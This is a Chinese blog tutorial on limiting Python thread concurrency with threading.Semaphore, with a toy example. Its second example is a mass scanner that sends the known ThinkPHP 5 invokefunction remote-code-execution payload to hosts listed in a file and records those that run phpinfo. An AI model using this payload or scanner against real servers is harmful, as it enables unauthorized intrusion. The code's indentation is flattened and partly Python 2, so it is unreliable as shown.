python多线程semaphore实现线程数控制的示例


Posted in Python onAugust 10, 2020

前面写过一篇关于python多线程的实现的文章, 但是效果不是最佳的,写法也不是很好。通过网上学习,也了解到了semaphore这个东西。

百度给的解释:Semaphore是一种在多线程环境下使用的设施,该设施负责协调各个线程,以保证它们能够正确、合理的使用公共资源的设施,也是操作系统中用于控制进程同步互斥的量。

一个有趣的例子:假设停车场只有三个车位,一开始三个车位都是空的。这时如果同时来了五辆车,看门人允许其中三辆不受阻碍的进入,然后放下车拦,剩下的车则必须在入口等待,此后来的车也都不得不在入口处等待。这时,有一辆车离开停车场,看门人得知后,打开车拦,放入一辆,如果又离开两辆,则又可以放入两辆,如此往复。

简而言之,也就是能够控制多线程并发的数量。

简单记录一下如何通过semaphore实现线程数的控制。

简单代码:

#! -*-coding: utf-8-*-

import threading
import time

class test(threading.Thread):       #继承threading类
 def __init__(self, i, sem): 
 super(test, self).__init__()   #继承python的构造方法,这为python2的写法,python3可直接super().__init__()
 self.i = i
 self.sem = sem

 def run(self):
 time.sleep(0.1)
 print("the test i is : " + str(self.i))
 self.sem.release()        #释放线程数,线程数加1

if __name__ == '__main__':
 sem = threading.Semaphore(5)   #设置可同时执行的最大线程数
 for i in range(50):
 sem.acquire()         #获得线程,可用线程数减1
 t = test(i, sem)       #给执行函数传递值
 t.start()           #执行函数
sem = threading.Semaphore(5)    #设置可同时开启的线程数,这里为5个

每执行一次函数的时候就获得一个线程数,sem.acquire();每次执行完函数,就会释放一个线程数,sem.release()。只要acquire()的线程数达到了最大数(这里为5),后面的线程就只能先等待前面获得的线程执行完函数过后释放,后面的线程才能继续执行。

整个流程理解起来其实也很简单。

之前写过一次开10个线程的多线程脚本,但是方法不够好,这次用这个方法改了一下,贴在这里(扫描tp5是否存在代码执行漏洞的扫描脚本):

# -*- coding:UTF-8 -*-

import requests
import threading
import time
import sys

class check(threading.Thread):      #判断是否存在这个漏洞的执行函数
 def __init__(self, url, sem):
 super(check, self).__init__()   #继承threading类的构造方法,python3的写法super().__init__()
 self.url = url
 self.sem = sem

 def run(self):
 time.sleep(0.2)
 parameters = "s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
 try:
  responce = requests.get(url = self.url, params = parameters)
  body = responce.text
  if body.find('PHP Extension') != -1:
    with open("success.txt", "a+") as f1:
      f1.write("存在tp5远程代码执行漏洞: " + self.url + "\n")
      print("[+] " + self.url)
  else:
  print("[-] " + self.url)
 except Exception,err:
  print("connect failed")
  pass
 self.sem.release()       #执行完函数,释放线程,线程数加1

class host(threading.Thread):     #遍历文件操作
 def __init__(self, sem):
 super(host, self).__init__()  #继承threading类的构造方法,python3的写法super().__init__()
 self.sem = sem

 def run(self):
 with open(sys.argv[1], "r") as f:
  for host in f.readlines():
  self.sem.acquire()   #遍历一个就获得一个线程,直到达到最大
  host = "http://" + host.strip()
  host_thread = check(host, self.sem) 
  host_thread.start()  #执行check()的执行函数

if __name__ == '__main__':
 sem = threading.Semaphore(10)   #最大线程数为10个
 thread = host(sem)         #传递sem值
 thread.start()

到此这篇关于python多线程semaphore实现线程数控制的示例的文章就介绍到这了,更多相关python 线程数控制内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
使用python编写脚本获取手机当前应用apk的信息
Jul 21 Python
深入解析Python编程中super关键字的用法
Jun 24 Python
Python实现的下载网页源码功能示例
Jun 13 Python
Python实现将数据写入netCDF4中的方法示例
Aug 30 Python
python在html中插入简单的代码并加上时间戳的方法
Oct 16 Python
网易有道2017内推编程题 洗牌(python)
Jun 19 Python
python plotly绘制直方图实例详解
Jul 22 Python
基于python+selenium的二次封装的实现
Jan 06 Python
对tensorflow中cifar-10文档的Read操作详解
Feb 10 Python
使用Python3 poplib模块删除服务器多天前的邮件实现代码
Apr 24 Python
python 使用csv模块读写csv格式文件的示例
Dec 02 Python
PyQt5结合QtDesigner实现文本框读写操作
Jun 11 Python
如何在python中实现线性回归
Aug 10 #Python
Python多线程的退出控制实现
Aug 10 #Python
Python进行统计建模
Aug 10 #Python
Python如何爬取b站热门视频并导入Excel
Aug 10 #Python
拿来就用!Python批量合并PDF的示例代码
Aug 10 #Python
Python 发送邮件方法总结
Aug 10 #Python
Python getattr()函数使用方法代码实例
Aug 10 #Python
You might like
咖啡是不是喝了会上瘾?咖啡是必须品吗!
2021/03/04 新手入门
PHP动态变静态原理
2006/11/25 PHP
?算你??的 PHP 程式大小
2006/12/06 PHP
PHP mail()函数使用及配置方法
2014/01/14 PHP
PHP在弹框中获取foreach中遍历的id值并传递给地址栏
2017/06/13 PHP
javascript 页面只自动刷新一次
2009/07/10 Javascript
JavaScript中SQL语句的应用实现
2010/05/04 Javascript
jQuery dialog 异步调用ashx,webservice数据的代码
2010/08/03 Javascript
JS时间选择器 兼容IE6,7,8,9
2012/06/26 Javascript
httpclient模拟登陆具体实现(使用js设置cookie)
2013/12/11 Javascript
javascript中错误使用var造成undefined
2016/03/31 Javascript
jQuery+CSS3实现点赞功能
2017/03/13 Javascript
利用three.js画一个3D立体的正方体示例代码
2017/11/19 Javascript
使用axios请求接口,几种content-type的区别详解
2019/10/29 Javascript
Jquery Fade用法详解
2020/11/06 jQuery
在Python中操作字典之clear()方法的使用
2015/05/21 Python
浅谈使用Python变量时要避免的3个错误
2017/10/30 Python
Python解析命令行读取参数之argparse模块
2019/07/26 Python
Python实现二叉搜索树BST的方法示例
2019/07/30 Python
Python函数基本使用原理详解
2020/03/19 Python
python实现扫雷小游戏
2020/04/24 Python
Django+Celery实现动态配置定时任务的方法示例
2020/05/26 Python
Django返回HTML文件的实现方法
2020/09/17 Python
python实现定时发送邮件
2020/12/23 Python
Django+Django-Celery+Celery的整合实战
2021/01/20 Python
html+js 实现markdown编辑器效果
2019/10/23 HTML / CSS
世界顶级户外运动品牌折扣网站:LeftLane Sports
2019/06/12 全球购物
"引用"与指针的区别是什么
2016/09/07 面试题
SQL Server里面什么样的视图才能创建索引
2015/04/17 面试题
《手指教学》反思
2014/02/14 职场文书
安全生产管理责任书
2014/04/16 职场文书
2014年党课学习材料
2014/05/11 职场文书
园林系毕业生求职信
2014/06/23 职场文书
党支部对转正的意见
2015/06/02 职场文书
pytorch中[..., 0]的用法说明
2021/05/20 Python
MySQL慢查询中的commit慢和binlog中慢事务的区别
2022/06/16 MySQL